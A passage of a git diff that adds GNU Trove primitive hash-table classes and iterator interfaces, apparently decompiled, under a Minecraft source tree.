+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeShort(no_entry_key);
+    
+
+    out.writeFloat(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readShort();
+    
+
+    no_entry_value = in.readFloat();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TShortHash.java b/src/minecraft/gnu/trove/impl/hash/TShortHash.java
new file mode 100644
index 0000000..08e7be2
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TShortHash.java
@@ -0,0 +1,292 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TShortProcedure;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TShortHash
+  extends TPrimitiveHash
+{
+  public transient short[] _set;
+  protected short no_entry_value;
+  
+  public TShortHash()
+  {
+    no_entry_value = Constants.DEFAULT_SHORT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public TShortHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_SHORT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_SHORT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TShortHash(int initialCapacity, float loadFactor, short no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_value = no_entry_value;
+    
+    if (no_entry_value != 0) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(short val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(short val)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(short val)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == val)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != val));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TShortIntHash.java b/src/minecraft/gnu/trove/impl/hash/TShortIntHash.java
new file mode 100644
index 0000000..1f56cc4
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TShortIntHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TShortIntHash
+  extends TPrimitiveHash
+{
+  public transient short[] _set;
+  protected short no_entry_key;
+  protected int no_entry_value;
+  
+  public TShortIntHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TShortIntHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortIntHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TShortIntHash(int initialCapacity, float loadFactor, short no_entry_key, int no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(short val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeShort(no_entry_key);
+    
+
+    out.writeInt(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readShort();
+    
+
+    no_entry_value = in.readInt();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TShortLongHash.java b/src/minecraft/gnu/trove/impl/hash/TShortLongHash.java
new file mode 100644
index 0000000..0403081
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TShortLongHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TShortLongHash
+  extends TPrimitiveHash
+{
+  public transient short[] _set;
+  protected short no_entry_key;
+  protected long no_entry_value;
+  
+  public TShortLongHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+  public TShortLongHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortLongHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TShortLongHash(int initialCapacity, float loadFactor, short no_entry_key, long no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(short val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeShort(no_entry_key);
+    
+
+    out.writeLong(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readShort();
+    
+
+    no_entry_value = in.readLong();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TShortShortHash.java b/src/minecraft/gnu/trove/impl/hash/TShortShortHash.java
new file mode 100644
index 0000000..89c67d6
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TShortShortHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TShortProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TShortShortHash
+  extends TPrimitiveHash
+{
+  public transient short[] _set;
+  protected short no_entry_key;
+  protected short no_entry_value;
+  
+  public TShortShortHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TShortShortHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TShortShortHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TShortShortHash(int initialCapacity, float loadFactor, short no_entry_key, short no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(short val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TShortProcedure procedure)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(short key)
+  {
+    byte[] states = _states;
+    short[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeShort(no_entry_key);
+    
+
+    out.writeShort(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readShort();
+    
+
+    no_entry_value = in.readShort();
+  }
+}
diff --git a/src/minecraft/gnu/trove/iterator/TAdvancingIterator.java b/src/minecraft/gnu/trove/iterator/TAdvancingIterator.java
new file mode 100644
index 0000000..d06f3ea
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TAdvancingIterator.java
@@ -0,0 +1,7 @@
+package gnu.trove.iterator;
+
+public abstract interface TAdvancingIterator
+  extends TIterator
+{
+  public abstract void advance();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteByteIterator.java b/src/minecraft/gnu/trove/iterator/TByteByteIterator.java
new file mode 100644
index 0000000..637f148
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteByteIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteByteIterator
+  extends TAdvancingIterator
+{
+  public abstract byte key();
+  
+  public abstract byte value();
+  
+  public abstract byte setValue(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteCharIterator.java b/src/minecraft/gnu/trove/iterator/TByteCharIterator.java
new file mode 100644
index 0000000..08d9b90
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteCharIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteCharIterator
+  extends TAdvancingIterator
+{
+  public abstract byte key();
+  
+  public abstract char value();
+  
+  public abstract char setValue(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TByteDoubleIterator.java
new file mode 100644
index 0000000..6299de3
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteDoubleIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteDoubleIterator
+  extends TAdvancingIterator
+{
+  public abstract byte key();
+  
+  public abstract double value();
+  
+  public abstract double setValue(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteFloatIterator.java b/src/minecraft/gnu/trove/iterator/TByteFloatIterator.java
new file mode 100644
index 0000000..18158e4
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteFloatIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteFloatIterator
+  extends TAdvancingIterator
+{
+  public abstract byte key();
+  
+  public abstract float value();
+  
+  public abstract float setValue(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteIntIterator.java b/src/minecraft/gnu/trove/iterator/TByteIntIterator.java
new file mode 100644
index 0000000..dc254f9
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteIntIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteIntIterator
+  extends TAdvancingIterator
+{
+  public abstract byte key();
+  
+  public abstract int value();
+  
+  public abstract int setValue(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteIterator.java b/src/minecraft/gnu/trove/iterator/TByteIterator.java
new file mode 100644
index 0000000..f651ffa
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteIterator.java
@@ -0,0 +1,7 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteIterator
+  extends TIterator
+{
+  public abstract byte next();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteLongIterator.java b/src/minecraft/gnu/trove/iterator/TByteLongIterator.java
new file mode 100644
index 0000000..08604f1
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteLongIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteLongIterator
+  extends TAdvancingIterator
+{
+  public abstract byte key();
+  
+  public abstract long value();
+  
+  public abstract long setValue(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteObjectIterator.java b/src/minecraft/gnu/trove/iterator/TByteObjectIterator.java
new file mode 100644
index 0000000..ab40e73
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteObjectIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteObjectIterator<V>
+  extends TAdvancingIterator
+{
+  public abstract byte key();
+  
+  public abstract V value();
+  
+  public abstract V setValue(V paramV);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TByteShortIterator.java b/src/minecraft/gnu/trove/iterator/TByteShortIterator.java
new file mode 100644
index 0000000..e51ce92
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TByteShortIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TByteShortIterator
+  extends TAdvancingIterator
+{
+  public abstract byte key();
+  
+  public abstract short value();
+  
+  public abstract short setValue(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharByteIterator.java b/src/minecraft/gnu/trove/iterator/TCharByteIterator.java
new file mode 100644
index 0000000..8c7e174
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharByteIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharByteIterator
+  extends TAdvancingIterator
+{
+  public abstract char key();
+  
+  public abstract byte value();
+  
+  public abstract byte setValue(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharCharIterator.java b/src/minecraft/gnu/trove/iterator/TCharCharIterator.java
new file mode 100644
index 0000000..3daefcd
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharCharIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharCharIterator
+  extends TAdvancingIterator
+{
+  public abstract char key();
+  
+  public abstract char value();
+  
+  public abstract char setValue(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TCharDoubleIterator.java
new file mode 100644
index 0000000..ec6a3d5
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharDoubleIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharDoubleIterator
+  extends TAdvancingIterator
+{
+  public abstract char key();
+  
+  public abstract double value();
+  
+  public abstract double setValue(double paramDouble);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharFloatIterator.java b/src/minecraft/gnu/trove/iterator/TCharFloatIterator.java
new file mode 100644
index 0000000..db74d75
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharFloatIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharFloatIterator
+  extends TAdvancingIterator
+{
+  public abstract char key();
+  
+  public abstract float value();
+  
+  public abstract float setValue(float paramFloat);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharIntIterator.java b/src/minecraft/gnu/trove/iterator/TCharIntIterator.java
new file mode 100644
index 0000000..2980620
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharIntIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharIntIterator
+  extends TAdvancingIterator
+{
+  public abstract char key();
+  
+  public abstract int value();
+  
+  public abstract int setValue(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharIterator.java b/src/minecraft/gnu/trove/iterator/TCharIterator.java
new file mode 100644
index 0000000..94d0dce
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharIterator.java
@@ -0,0 +1,7 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharIterator
+  extends TIterator
+{
+  public abstract char next();
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharLongIterator.java b/src/minecraft/gnu/trove/iterator/TCharLongIterator.java
new file mode 100644
index 0000000..f67f3bc
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharLongIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharLongIterator
+  extends TAdvancingIterator
+{
+  public abstract char key();
+  
+  public abstract long value();
+  
+  public abstract long setValue(long paramLong);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharObjectIterator.java b/src/minecraft/gnu/trove/iterator/TCharObjectIterator.java
new file mode 100644
index 0000000..5557a5b
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharObjectIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharObjectIterator<V>
+  extends TAdvancingIterator
+{
+  public abstract char key();
+  
+  public abstract V value();
+  
+  public abstract V setValue(V paramV);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TCharShortIterator.java b/src/minecraft/gnu/trove/iterator/TCharShortIterator.java
new file mode 100644
index 0000000..0de3144
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TCharShortIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TCharShortIterator
+  extends TAdvancingIterator
+{
+  public abstract char key();
+  
+  public abstract short value();
+  
+  public abstract short setValue(short paramShort);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TDoubleByteIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleByteIterator.java
new file mode 100644
index 0000000..28504b3
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleByteIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleByteIterator
+  extends TAdvancingIterator
+{
+  public abstract double key();
+  
+  public abstract byte value();
+  
+  public abstract byte setValue(byte paramByte);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TDoubleCharIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleCharIterator.java
new file mode 100644
index 0000000..a07d1ec
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleCharIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleCharIterator
+  extends TAdvancingIterator
+{
+  public abstract double key();
+  
+  public abstract char value();
+  
+  public abstract char setValue(char paramChar);
+}
diff --git a/src/minecraft/gnu/trove/iterator/TDoubleDoubleIterator.java b/src/minecraft/gnu/trove/iterator/TDoubleDoubleIterator.java
new file mode 100644
index 0000000..627b05a
--- /dev/null
+++ b/src/minecraft/gnu/trove/iterator/TDoubleDoubleIterator.java
@@ -0,0 +1,11 @@
+package gnu.trove.iterator;
+
+public abstract interface TDoubleDoubleIterator
+  extends TAdvancingIterator
+{
+  public abstract double key();
+  
+  public abstract double value();
+  
+  public abstract double setValue(double paramDouble);
+}
